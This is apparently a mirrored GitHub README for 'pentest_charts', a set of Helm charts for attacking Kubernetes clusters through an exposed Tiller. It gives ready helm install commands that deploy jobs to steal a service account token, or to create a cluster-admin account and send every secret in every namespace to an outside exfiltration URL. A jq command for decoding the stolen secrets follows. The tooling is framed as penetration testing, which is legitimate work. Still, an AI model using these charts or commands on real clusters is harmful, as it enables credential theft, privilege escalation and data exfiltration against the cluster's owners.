Git Product home page Git Product logo

pentest_charts's Introduction

About

These are a few Helm Charts I've made to help exfiltrate data or privesc when you're in a Kubernetes Cluster and have access to Tiller, but not to the Kubernetes API.

For more information, see my blogpost about attacking Tiller from inside a cluster: https://blog.ropnop.com/attacking-default-installs-of-helm-on-kubernetes/

Charts

To use these charts, you must first initialize Helm, then you can install the charts directly from the repo:

$ helm init --client-only
$ helm install --repo https://ropnop.github.io/pentest_charts/ <chart_name> [options]

exfil_sa

This chart deploys a job designed to simply POST the pod's service account token to a URL. This is useful if you have access to Tiller and know a specific service account who's token you'd like to steal. It takes the following values:

  • name - the name of the release, job and pod.
  • serviceAccountName - the service account to use (and therefore the token that will be exfil'd)
  • exfilURL - the URL to POST the token to. Make sure you have a listener on that URL to catch it! (I like using a serverless function)
  • namespace - defaults to kube-system, but you can override it

Usage:

helm install --name tiller-deployer --set serviceAccountName=tiller --set exfilURL="https://datadump-slack-dgjttxnxkc.now.sh" --repo https://ropnop.github.io/pentest_charts exfil_sa_token

This will POST the token in the body of an HTTP request to exfilURL.

To clean up: helm delete --purge <release_name>

exfil_secrets

This chart creates a new service account with cluster-admin privileges, then deploys a job with that new service account to read all the secrets in every namespace from the Kubernetes API and POST the data back to an exfilURL.

It takes the following values:

  • name - the name of the release, job and pod.
  • serviceAccountName - the service account to use (and therefore the token that will be exfil'd)
  • exfilURL - the URL to POST the token to. Make sure you have a listener on that URL to catch it! (I like using a serverless function)
  • namespace - defaults to kube-system, but you can override it

Usage:

helm install --name tiller-deployer --set serviceAccountName="tiller-deployer" --set exfilURL="https://datadump-slack-dgjttxnxkc.now.sh/all_secrets.json" --repo https://ropnop.github.io/pentest_charts exfil_secrets

This will POST every Kubernetes secret in JSON form to the exfilURL. To parse through and quickly decode all the secrets, you can use jq:

cat all_secrets.json| jq '[.items[] | . as $secret| .data | to_entries[] | {namespace: $secret.metadata.namespace, name: $secret.metadata.name, type: $secret.type, created: $secret.metadata.creationTimestamp, key: .key, value: .value|@base64d}]'

To clean up: helm delete --purge <release_name>

pentest_charts's People

Contributors

ropnop avatar

Stargazers

 avatar  avatar 卿 avatar Peter Willis avatar  avatar no surrendering avatar me7ell avatar ik5 avatar Dwi Siswanto avatar Antares avatar chybeta avatar Omar A. avatar Krzysztof Wilczyński avatar Tim Frazier avatar Chris Lin avatar cdxy avatar Jules avatar Nbosa avatar  avatar Craig Ingram avatar Vikram Mandyam avatar Bueller avatar Julian Xhokaxhiu avatar David Perfors avatar Álvaro Sánchez avatar Vinoth kumar avatar Toufik Airane avatar Archit Sharma avatar Silverly avatar Lennie Budgell avatar  avatar Jeroen Willemsen avatar ktx avatar Chandrapal Badshah avatar Ben McDonald avatar Dragos Fotescu avatar Michael Skelton avatar Anshuman Bhartiya avatar

Watchers

 avatar  avatar  avatar

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.